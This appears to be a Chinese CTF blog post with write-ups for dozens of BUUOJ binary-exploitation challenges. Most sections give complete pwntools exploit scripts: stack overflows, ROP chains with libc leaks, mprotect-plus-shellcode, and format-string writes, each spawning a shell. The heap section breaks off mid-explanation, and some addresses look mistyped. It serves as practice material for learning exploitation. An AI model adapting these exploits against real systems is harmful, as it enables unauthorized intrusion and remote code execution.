GITHUB BLOG LINK THERE
文章目录
- [GITHUB BLOG LINK THERE](https://arttnba3.cn/2020/09/08/CTF-0X00-BUUOJ-PWN/)
- 0x000.绪论
- 0x001.test your nc - nc
- 0x002.rip - ret2text
- 0x003.warmup_csaw_2016 - ret2text
- 0x004.pwn1_sctf_2016 - ret2text
- 0x005.ciscn_2019_n_1 - overwrite
- 0x006.ciscn_2019_c_1 - ret2csu + ret2libc
- 0x007.[OGeek2019]babyrop - ret2libc
- 0x008.jarvisoj_level0 - ret2text
- 0x009.ciscn_2019_en_2 - ret2csu + ret2libc
- 0x00A.[第五空间2019 决赛]PWN5 - fmtstr
- 0x00B.[BJDCTF 2nd]r2t3 - integer overflow + ret2text
- 0x00C.get_started_3dsctf_2016 - ret2text || ret2shellcode
- 0x00D.ciscn_2019_n_8 - overwrite
- 0x00E.not_the_same_3dsctf_2016 - ret2shellcode
- 0x00F.one_gadget - one_gadget
- 0x010.jarvisoj_level2 - ret2text
- 0x011.[HarekazeCTF2019]baby_rop - ret2text + ret2csu
- 0x012.bjdctf_2020_babystack - ret2text
- 0x013.babyheap_0ctf_2017 - Unsorted bin leak + Fastbin Attack + one_gadget
- 0x014.ciscn_2019_n_5 - ret2shellcode
- 0x015.level2_x64 - ret2csu
- 0x016.ciscn_2019_ne_5 - ret2text
- 0x017.ciscn_2019_s_3 - ret2csu || SROP
- 0x018.铁人三项(第五赛区)_2018_rop - ret2libc
- 0x019.bjdctf_2020_babyrop - ret2csu + ret2libc
- 0x01A.pwn2_sctf_2016 - integer overflow + ret2libc
- 0x01B.others_shellcode
- 0x01C.[HarekazeCTF2019]baby_rop2 - ret2csu + ret2libc
- 0x01D.ez_pz_hackover_2016 - ret2shellcode
- 0x01E.ciscn_2019_es_2 - ret2text + stack migration
- 0x01F.[Black Watch 入群题]PWN - ret2libc + stack migration
- 0x020.jarvisoj_level3 - ret2libc
- 0x021.[BJDCTF 2nd]test - Linux基础知识
- 0x022.[BJDCTF 2nd]r2t4 - fmtstr
- 0x023.jarvisoj_fm - fmtstr
- 0x024.jarvisoj_tell_me_something - ret2csu + ret2libc
- 0x025.[BJDCTF 2nd]ydsneedgirlfriend2 - overwrite
- 0x026.jarvisoj_level4 - ret2libc
- 0x027.[V&N2020 公开赛]simpleHeap - off by one + fastbin attack + one_gadget
- 0x028.jarvisoj_level3_x64 - ret2csu + ret2libc
- 0x029.bjdctf_2020_babystack2 - integer overflow + ret2text
- 0x02A.hitcontraining_uaf - UAF + fastbin double free
- 0x02B.[ZJCTF 2019]EasyHeap - fastbin attack
- 0x02C.babyfengshui_33c3_2016 - got table hijack
- 0x02D.picoctf_2018_rop chain - ret2libc
- 0x02E.bjdctf_2020_babyrop2 - fmtstr + ret2libc
- 0x02F.jarvisoj_test_your_memory - ret2text
- 0x30.bjdctf_2020_router - Linux基础知识
- 0x31.picoctf_2018_buffer overflow 1 - ret2libc
- 0x32.[ZJCTF 2019]Login - ret2text
- 0x33.cmcc_simplerop -ret2syscall | ret2shellcode
- 0x34.roarctf_2019_easy_pwn - off by one + fastbin attack + one_gadget
- 0x35.pwnable_orw - orw
- 0x36.[V&N2020 公开赛]easyTHeap - Use After Free + tcache hijact + tcache poisoning + one_gadget
- 0x???.0ctf_2017_babyheap - Unsorted bin leak + Fastbin Attack + one_gadget
- 0x???.mrctf2020_easyrop - ret2text
0x000.绪论
BUUCTF是一个巨型CTF题库,大致可以类比OIer们的洛谷一样的地方,在BUUCTF上有着分类齐全数量庞大的各方向题目,包括各大CTF的原题
正所谓”不刷BUU非CTFer“(哪里有过这种奇怪的话啦),作为一名新晋的蒟蒻CTFer&网安专业选手,咱也来做一做BUUCTF上的题,并把题解在博客上存档一份方便后来者学习(快醒醒,哪里会有人看你的博客啦XD
Baby Pwner做的都是pwn题,点开即可查看题解👇
注:我会在题目的旁边写上考点
注2:老生常谈,CSDN阅读体验稀烂,建议来这里看
0x001.test your nc - nc
拖入IDA分析,发现一运行就能直接getshell
nc,成功getshell,得flag
0x002.rip - ret2text
惯例的checksec
,保护全关
主函数使用了gets函数,存在栈溢出,偏移量为0xf+8个字节
可以发现直接存在一个system("/bin/sh")
,返回到这里即可getshell
构造payload如下:
from pwn import *
payload = b'A' * (0xf + 8) + p64(0x40118a)
p = process('./rip')#p = remote('node3.buuoj.cn',26914)
p.sendline(payload)
p.interactive()
输入我们的payload
,直接getshell,得到flag
0x003.warmup_csaw_2016 - ret2text
惯例checksec
,保护全关,可以为所欲为
拖入IDA,发现可以溢出的gets
函数,偏移量是0x40+8个字节
又发现一个可以获得flag的gadgetsystem("cat flag.txt")
,控制程序返回到这里即可获得flag
故构造payload如下:
from pwn import *
payload = b'A'* (0x40 + 8) + p64(0x400611)
p = process('./warm_up_2016')# p = remote('node3.buuoj.cn',28660)
p.sendline(payload)
p.interactive()
输入我们的payload,得到flag
0x004.pwn1_sctf_2016 - ret2text
惯例的checksec
,发现只开了NX保护
拖入IDA看一下,然后你就会发现C++逆向出来的东西比**还**
我们不难看出replace函数是在该程序中的一个比较关键的函数,我们先进去简单看看:
简单通读一下我们大概知道这段代码的运行过程如下:(不就是**🐎有什么读不懂的,干他就完事了
std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3, std::string *a4)
{
int v4; // ST04_4
int v5; // ST04_4
int v6; // ST10_4
char v8; // [esp+10h] [ebp-48h]
char v9; // [esp+14h] [ebp-44h]
char v10; // [esp+1Bh] [ebp-3Dh]
int v11; // [esp+1Ch] [ebp-3Ch]
char v12; // [esp+20h] [ebp-38h]
int v13; // [esp+24h] [ebp-34h]
int v14; // [esp+28h] [ebp-30h]
char v15; // [esp+2Fh] [ebp-29h]
int v16; // [esp+30h] [ebp-28h]
int v17; // [esp+34h] [ebp-24h]
char v18; // [esp+38h] [ebp-20h]
int v19; // [esp+3Ch] [ebp-1Ch]
char v20; // [esp+40h] [ebp-18h]
int v21; // [esp+44h] [ebp-14h]
char v22; // [esp+48h] [ebp-10h]
char v23; // [esp+4Ch] [ebp-Ch]
// 接收参数为:v6,input,v9,v7
// 其中input为我们的输入,v9为字符串"I",v7为字符串"you"
// 查汇编源码可知下面的string基本都是a2,也就是input
while ( std::string::find(a2, a3, 0) != -1 ) // 在input中寻找字符串v9("I"),如果找不到则find方法会返回-1,跳出循环
{
std::allocator<char>::allocator(&v10); // 新构造了一个allocator<char>类的实例并将地址给到v10
v11 = std::string::find(a2, a3, 0); // 获得"I"字符串在input中第一次出现的下标
std::string::begin(&v12); // input.begin()新构造一个迭代器对象并将地址给到v12
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v13);// 构建operator+的迭代器对象实例给到v13
std::string::begin(&v14); // input.begin()新构造一个迭代器对象并将地址给到v14
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v9, v14, v13, &v10);// v14迭代生成的字符使用allocator(v10)分配内存、使用operator+(v13)接成新字符串给到v8
// 查看汇编可知生成的字符串长度为v11(即生成的字符串为input中第一个"I"的前面所有字符构成的字符串
std::allocator<char>::~allocator(&v10, v4); // 析构v10
std::allocator<char>::allocator(&v15); // 新构造了一个allocator<char>类的实例并将地址给到v15
std::string::end(&v16); // input.end()新构造一个迭代器对象并将地址给到v16
v17 = std::string::length(a3); // 获得"I"的长度给到v17
v19 = std::string::find(a2, a3, 0); // 获得"I"字符串在input中第一次出现的下标给到v19
std::string::begin(&v20); // begin()新构造一个迭代器对象并将地址给到v20
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v18);// 构建operator+的迭代器对象实例给到v18
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v21);// 构建operator+的迭代器对象实例给到v21
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v8, v21, v16, &v15);// v16迭代生成的字符使用allocator(v15)分配内存、使用operator+(v21)接成新字符串给到v8
// 注意在这里和前面的相似语句中字符串迭代器与operator所传入的位置是相反的
// 可能是因为迭代器从后往前生成字符串?
std::allocator<char>::~allocator(&v15, v5); // 析构v15
std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v23, &v9, a4);// v9+a4生成的字符串给到v23
// 即input中第一个"I"之前的所有字符构成的字符串再加上"you"生成新字符串v23
std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v22, &v23, &v8);// v23+v8生成的字符串给到v22
// 即v23再加上原input中第一个"I"之后的所有字符构成的字符串生成新字符串v22
std::string::operator=(a2, &v22, v6); // v22给回到a2(也就是input
std::string::~string(&v22); // 析构v20
std::string::~string(&v23); // 析构v21
std::string::~string(&v8); // 析构v8
std::string::~string(&v9); // 析构v9
}
std::string::string(a1, a2); // 拷贝input到a1(vuln中v6)
return a1;
}
我们可以大概知道replace函数的作用其实是把输入的字符串中的所有字串A替换成字符串B再重新生成新的字符串,而在vuln函数中A即为"I"
,B即为"you"
。
重新回到vuln
函数,我们发现依然看不懂这段代码到底干了啥
这个时候其实我们可以选择看汇编代码进行辅助阅读(C++逆向出来的东西真的太**了
简单结合一下汇编代码与逆向出来的C++代码,我们容易知道该段代码的作用,如下图注释所示:
fgets(&s, 32, edata); // 从标准输入流中读入最大32个字符到s
std::string::operator=(&input, &s); // 将字符串s的值拷贝到string类input中
std::allocator<char>::allocator((int)&v8); // 新构造了一个allocator<char>类的实例并将地址给到v8
std::string::string((int)&v7, (int)"you", (int)&v8);// string类使用allocrator分配内存复制字符串"you"并拷贝到v7上
std::allocator<char>::allocator((int)&v10); // 新构造了一个allocator<char>类的实例并将地址给到v10
std::string::string((int)&v9, (int)"I", (int)&v10);// string类使用allocrator分配内存复制字符串"I"并拷贝到v6上
replace((std::string *)&v6, (std::string *)&input, (std::string *)&v9);// 遍历input,生成新string把原input中的'I'替换为'you',并将重新生成后的字符串地址给到v6
std::string::operator=(&input, &v6, v0); // 拷贝v6回到input中,完成替换
std::string::~string((std::string *)&v6); // 析构v6
std::string::~string((std::string *)&v9); // 析构v9
std::allocator<char>::~allocator(&v10, v1); // 析构v10
std::string::~string((std::string *)&v7); // 析构v7
std::allocator<char>::~allocator(&v8, v2); // 析构v8
v3 = (const char *)std::string::c_str((std::string *)&input);// 将input使用string类的c_str函数变成字符串存放在char数组中并将字符串指针赋给v3
strcpy(&s, v3); // 将v3拷贝到s上
简单运行一下,我们可以发现程序的确会把输入中的I
全部替换成you
同时我们可以看到,溢出大概需要0x3c
个字节,也就是60个字节
我们可以选择使用20个I
作为padding,然后这段padding会被替换成30个you
,刚好60个字节,在后面再覆盖掉ebp与返回地址控制程序返回到get_flag
函数即可得到flag
故构造exp如下:
from pwn import *
get_flag_addr = 0x8048fd
p = process('./pwn1_sctf_2016')#p = remote('node3.buuoj.cn',27140)
payload = b'I'*20 + p32(0xdeadbeef) + p32(get_flag_addr)
p.sendline(payload)
p.recv()
发送payload,得到flag
C++逆向是真的kskjklasjdkajskdhasjdgsgdhsgdsajkqpiwourevz
0x005.ciscn_2019_n_1 - overwrite
惯例的checksec
,发现只开了NX保护
拖入IDA进行分析,main中调用了func函数,直接进去看
当v2为11.28125时我们可以获取flag,而gets函数读入到v1存在溢出点可以覆写掉v2
那么问题来了,浮点数11.28125在内存中是如何表示的呢
我们可以直接跳转到这个数据所储存的地方,发现是0x41348000
故构造exp如下:
from pwn import *
p = process('ciscn_2019_n_1')#p = remote('node3.buuoj.cn',27338)
payload = b'A'*(0x30-0xc) + p64(0x401348000)
p.sendline(payload)
p.recv()
发送payload,得到flag
0x006.ciscn_2019_c_1 - ret2csu + ret2libc
惯例的checksec
,发现只开了NX保护
拖入IDA进行分析
在encrypt()
函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据
不过我们可以发现该函数是使用的strlen()
函数来判断输入的长度,遇到'\x00'
时会终止,而gets()
函数遇到'\x00'
并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00'
,这样我们所输入的payload就不会被程序改变
接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()
函数泄漏出puts()
的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher
获取libc,然后libc的基址、/bin/sh
和system()
的地址就都出来了,配合上csu中的gadget即可getshell
故构造exp如下:
from pwn import *
from LibcSearcher import *
e = ELF('./ciscn_2019_c_1')
offset = 0x50
enc_addr = 0x4009a0
pop_rdi = 0x400c83
retn = 0x400c84
payload1 = '\x00' + b'A'*(offset-1) + p64(0xdeafbeef) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(enc_addr)
#p = process("./ciscn_2019_c_1")
p = remote('node3.buuoj.cn',27832)
p.sendline(b'1')
p.recv()
p.sendline(payload1)
p.recvuntil('Ciphertext\n\n')
s = p.recv(6)
puts_addr = u64(s.ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload2 = '\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(retn) + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()
运行我们的exp,成功getshell
发生了很多很玄学的问题(👈其实就是李粗心大意罢le),导致这道题虽然早就有了思路,但是用的时间比预期要长的多
以及LibcSearcher在本地无法getshell,换成本地的libc就好了(玄学问题变多了(
其实只是LibcSearcher库不全⑧))以及Ubuntu 18下偶尔会发生栈无法对齐的情况,多retn几次就好了(确信)
0x007.[OGeek2019]babyrop - ret2libc
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析:
main函数首先会获取一个随机数,传入sub_804871F()
中
该函数会将随机数作为字符串输出到s,之后读取最大0x20个字节的输入到v6,用strlen()
计算v6长度存到v1并与s比对v1个字节,若不相同则直接退出程序
考虑到strlen()
函数以'\x00'
字符作为结束标识符,故我们只需要在输入前放上一个'\x00'
即可避开这个检测
之后会将v5的数值返回到主函数并作为参数又给到sub_80487D0()
函数,简单看一下我们便可以发现该函数读取最大v5个字节的输入到buf
中,而buf
距离ebp
只有0xe7个字节
由于没有可以直接getshell的函数,故考虑在第一次输入时将v5覆写为0xff
以保证能够读取的输入长度最大,在第二次输入时构造rop链使用write函数泄露write的地址,再使用libcsearcher得到libc基址与system()
和"/bin/sh"
字符串的地址,最后构造rop链调用system("/bin/sh")
即可getshell
构造exp如下:
from pwn import *
from LibcSearcher import *
e = ELF('./pwn')
write_plt = e.plt['write']
write_got = e.got['write']
payload1 = b'\x00' + 7* b'\xff'
payload2 = b'A' * 0xe7 + p32(0xdeadbeef) + p32(write_plt) + p32(0x80487d0) + p32(0x1) + p32(write_got) + p32(0x8)
p = process('./pwn')#p = remote('node3.buuoj.cn',25330)
p.sendline(payload1)
p.recvuntil(b'Correct\n')
p.sendline(payload2)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')
payload3 = b'A'*0xe7 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload3)
p.interactive()
运行脚本即可getshell
0x008.jarvisoj_level0 - ret2text
好多重复考点的简单题啊…
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析,可以发现存在一个可以溢出的函数vulnerable_function()
,只需要0x80
个字节即可溢出
同时存在一个可以直接getshell的函数callsystem()
直接构造payload覆写返回地址到callsystem()
函数即可getshell
exp如下:
from pwn import *
payload = b'A'*0x80 + p64(0xdeadbeef) + p64(0x400596)
p = process('level0')#p = remote('node3.buuoj.cn',29367)
p.recv()
p.sendline(payload)
p.interactive()
0x009.ciscn_2019_en_2 - ret2csu + ret2libc
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析感觉这题好像在哪个地方做过的样子(ciscn_2019_c_1)
在encrypt()
函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据
不过我们可以发现该函数是使用的strlen()
函数来判断输入的长度,遇到'\x00'
时会终止,而gets()
函数遇到'\x00'
并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00'
,这样我们所输入的payload就不会被程序改变
接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()
函数泄漏出puts()
的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher
获取libc,然后libc的基址、/bin/sh
和system()
的地址就都出来了,配合上csu中的gadget即可getshell
构造exp如下:
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn',25348)#process('./ciscn_2019_en_2')
e = ELF('./ciscn_2019_en_2')
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = 0x400b28
pop_rdi_ret = 0x400c83
retn = 0x400c84
offset = 0x50
payload1 = b'\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recv()
p.sendline('1')
p.recv()
p.sendline(payload1)
p.recvuntil('text\n\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = b'\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(retn) +p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline('1')
p.sendline(payload2)
p.interactive()
需要注意的是Ubuntu 18有的时候会存在栈无法对齐的情况,可以多使用几次
retn
的gadget来对其栈
0x00A.[第五空间2019 决赛]PWN5 - fmtstr
惯例的checksec
,发现开了NX保护和canary
拖入IDA进行分析:
该程序获取一个随机数,读入到0x804c044
上,随后两次读入用户输入并判断第二次输入与随机数是否相同,相同则可以获得shell
我们可以发现存在格式化字符串漏洞,可以进行任意地址读与任意地址写,故考虑将0x804c044
地址上的随机数覆写为我们想要的值,随后直接输入我们覆写的值即可getshell
同时我们简单的跑一下这个程序就可以知道格式字符串是位于栈上的第10个参数(“aaaa” == 0x61616161)
我们可以使用pwntools中的fmtstr_payload()
来比较方便地构造能够进行任意地址写的payload
具体用法可以百度,这里就不再摘抄一遍了
故构造exp如下:
from pwn import *
payload = fmtstr_payload(10,{
0x804c044:0x1})
p = process('./pwn')#p = remote('node3.buuoj.cn',25595)
p.sendline(payload)
p.sendline(str(0x1))
p.interactive()
0x00B.[BJDCTF 2nd]r2t3 - integer overflow + ret2text
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
主函数中读入最大0x400个字节,但是开辟了0x408字节的空间,无法溢出
同时主函数会将输入传入name_check()
函数中,若通过strlen()
计算出来的长度在4~8个字节之间则会将我们的输入通过strcpy()
拷贝至dest
上,而这里到ebp之间只有0x11
个字节的空间,我们完全可以通过这段代码覆盖掉该函数的返回地址
同时我们可以观察到存在可以直接getshell的后门函数
考虑到在name_check()
函数中用来存放输入长度的变量为8位无符号整型,范围为0~255,故我们只需要输入260个字节便可以发生上溢降使该变量的值上溢为4,绕过判定
故构造exp如下:
from pwn import *
payload = b'A'*0x11 + p32(0xdeadbeef) + p32(0x)
p = process('./r2t3')#p = remote('node3.buuoj.cn',25595)
p.sendline(payload)
p.interactive()
发送payload即可getshell
0x00C.get_started_3dsctf_2016 - ret2text || ret2shellcode
注:这是一道屑题
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析,可以发现存在一个赤裸裸的gets()
溢出
同时存在一个get_flag()
函数可以获取flag,不过要求参数1为0x308cd64f
,参数2为0x195719d1
解法1:ret2text
32位程序通过栈传参,故构造exp如下:
from pwn import *
payload = b'A'*0x38 + p32(0x80489A0) + p32(0xdeadbeef) + p32(0x308CD64F) + p32(0x195719D1)
p = process('./get_started_3dsctf_2016')
p.sendline(payload)
p.interactive()
不过很明显,出题人的环境很明显有丶小问题🔨🔨🔨,远程跑不通这个payload
问题出在哪呢?该程序尝试打开的是flag.txt
文件,但是平台所自动生成的是flag
文件,故此种方法无法获得flag
我们尝试寻找第二种解法
解法2:ret2shellcode
首先我们发现在程序中编入了大量的函数,其中就包括mprotect()
,可以修改指定内存地址的权限
故考虑使用mprotect()
修改内存段权限为可读可写可运行后在上面写入shellcode并跳转至内存段执行shellcode以getshell
在pwndbg中使用vmmap
查看可以用的内存段,前面三个段随便选一个就行
需要注意的是我们需要手动将mprotect()
的参数弹出(日常踩坑)
from pwn import *
p = process('./get_started_3dsctf_2016')#p = remote('node3.buuoj.cn',29719)#
e = ELF('./get_started_3dsctf_2016')
#context.log_level = 'debug'
pop_ebx_esi_edi_ebp_ret = 0x804951c
mprotect_addr = e.sym['mprotect']
read_addr = e.sym['read']
sc_addr = 0x80ec000
offset = 0x38
payload1 = b'A'*offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100) + p32(0x7) + p32(0xdeadbeef) + p32(read_addr) + p32(sc_addr) + p32(0) + p32(sc_addr) + p32(0x100)
payload2 = asm(shellcraft.sh())
p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()
运行脚本即可getshell
0x00D.ciscn_2019_n_8 - overwrite
惯例的checksec
,发现开了栈不可执行、地址随机化、Canary三大保护(噔 噔 咚
拖入IDA进行分析
使用scanf读入字符串到变量var
,存在漏洞,同时程序会将var的地址转换为一个(_QWORD)类型指针(长度为四字节),并判断var[13]
是否为0x11
,若是则返回一个shell
故考虑直接输入将var[13]
覆写为0x11
即可getshell
构造exp如下:
from pwn import *
payload = b'A'*13*4 + p32(0x11)
p = process('./ciscn_2019_n_8') # p = remote('node3.buuoj.cn',29901)
p.recv()
p.sendline(payload)
p.interactive()
0x00E.not_the_same_3dsctf_2016 - ret2shellcode
not the same(指 same(
惯例的checksec
,发现只开了栈不可执行保护
拖进IDA里康康
主函数中直接存在可以被利用的gets()
函数,同时还给了我们一个提示信息——bora ver se tu ah o bichao memo,大致可以翻译为:Did you see the wrong note?看起来似乎没什么用的样子
尝试先使用与前一题相同的思路来解
首先用pwndbg
的vmmap
查看可以用的内存
同时IDA中我们发现程序中依然存在mprotect()
函数可以改写权限
和前一题所不同的是gadget的位置有丶小变化(原来只有这个不同🐎)
故我们可以使用与前一题几乎完全相同的exp来getshell,只需要把csu里的gadget的地址稍微修改一下即可
构造exp如下:
from pwn import *
p = process('./not_the_same_3dsctf_2016')#p = remote('node3.buuoj.cn',28147)#
e = ELF('./not_the_same_3dsctf_2016')
#context.log_level = 'debug'
pop_ebx_esi_edi_ebp_ret = 0x80494dc
mprotect_addr = e.sym['mprotect']
read_addr = e.sym['read']
sc_addr = 0x80ea000
offset = 0x2d
payload1 = b'A'*offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100) + p32(0x7) + p32(0xdeadbeef) + p32(read_addr) + p32(sc_addr) + p32(0) + p32(sc_addr) + p32(0x100)
payload2 = asm(shellcraft.sh())
p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()
运行脚本即得shell
0x00F.one_gadget - one_gadget
首先从题目名字我们就可以看出这道题应该需要我们用到一个工具——one_gadget
什么是one_gadget?即在libc中存在着的可以直接getshell的gadget
惯例的checksec
,发现保 护 全 开(心 肺 停 止
拖进IDA里分析
主函数会读入一个整数到函数指针v4中,并尝试执行v4()
,故我们只需要输入one_gadget的地址即可getshell
使用one_gadget
工具可以找出libc中的getshell gadget
不明原因在arch上一直没法运行,只好切到Ubuntu
但是我们还需要知道libc的基址
我们可以发现在init()
函数中会输出printf()
函数的地址,有了这个我们便可以计算出libc的基址,也就有了one_gadget的真实地址
而题目也给了我们libc,故构造exp如下:
from pwn import *
one_gadget = 0xe237f
p = process('./one_gadget')#p = remote('node3.buuoj.cn',27792)#
e = ELF('./one_gadget')
libc = ELF('./libc-2.29.so')
p.recvuntil('here is the gift for u:')
printf_addr = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))
libc_base = printf_addr - libc.sym['printf']
getshell = libc_base + one_gadget
p.sendline(str(getshell))
p.interactive()
0x010.jarvisoj_level2 - ret2text
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
读入最大0x100字节,但是buf
到ebp之间只有0x88字节的空间,存在溢出
同时我们也可以知道该程序中有system()
函数可以利用
同时程序中还存在"/bin/sh"
字符串
故只需要构造rop链执行system("/bin/sh")
即可getshell
构造exp如下:
from pwn import *
p = process('./level2')#p = remote('node3.buuoj.cn',26276)#
e = ELF('./level2')
sh_addr = 0x804A024
payload = b'A'*0x88 + p32(0xdeadbeef) + p32(e.plt['system']) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload)
p.interactive()
运行即可getshell
0x011.[HarekazeCTF2019]baby_rop - ret2text + ret2csu
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
使用scanf("%s")
读入字符串,存在溢出漏洞
存在system()
函数
存在/bin/sh
字符串
故考虑使用csu中gadget构造rop链执行system("/bin/sh")
函数以getshell
构造exp如下:
from pwn import *
sh_addr = 0x601048
pop_rdi_ret = 0x400683
p = remote('node3.buuoj.cn',27558)
e = ELF('./babyrop')
payload = b'A'*0x10 + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(e.sym['system'])
p.sendline(payload)
p.interactive()
运行即得flag
好多一样的题啊Or2
0x012.bjdctf_2020_babystack - ret2text
又是一模一样的题。。。
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
主函数中用户可以控制读入的字符数量,存在溢出
同时存在可以getshell的backdoor()
函数
故考虑构造rop链执行backdoor()
函数即可
构造exp如下
from pwn import *
payload = b'A'*0x10 + p64(0xdeadbeef) + p64(0x4006e6)
p = remote('node3.buuoj.cn',25806)#p = process('./bjdctf_2020_babystack')
p.sendline(b'100')
p.sendline(payload)
p.interactive()
运行即可getshell
0x013.babyheap_0ctf_2017 - Unsorted bin leak + Fastbin Attack + one_gadget
来到BUU后做的第一道堆题
惯例的checksec
,发现保 护 全 开(心 肺 停 止
拖入IDA里进行分析(以下部分函数、变量名经过重命名)
常见的堆题基本上都是菜单题,本题也不例外
我们可以发现在writeHeap()
函数中并没有对我们输入的长度进行检查,存在堆溢出
故我们考虑先创建几个小堆块,再创建一个大堆块,free掉两个小堆块进入到fastbin,用堆溢出改写fastbin第一个块的fd指针为我们所申请的大堆块的地址,需要注意的是fastbin会对chunk的size进行检查,故我们还需要先通过堆溢出改写大堆块的size,之后将大堆块分配回来后我们就有两个指针指向同一个堆块
利用堆溢出将大堆块的size重新改大再free以送入unsorted bin,此时大堆块的fd与bk指针指向main_arena+0x58的位置,利用另外一个指向该大堆块的指针输出fd的内容即可得到main_arena+0x58的地址,就可以算出libc的基址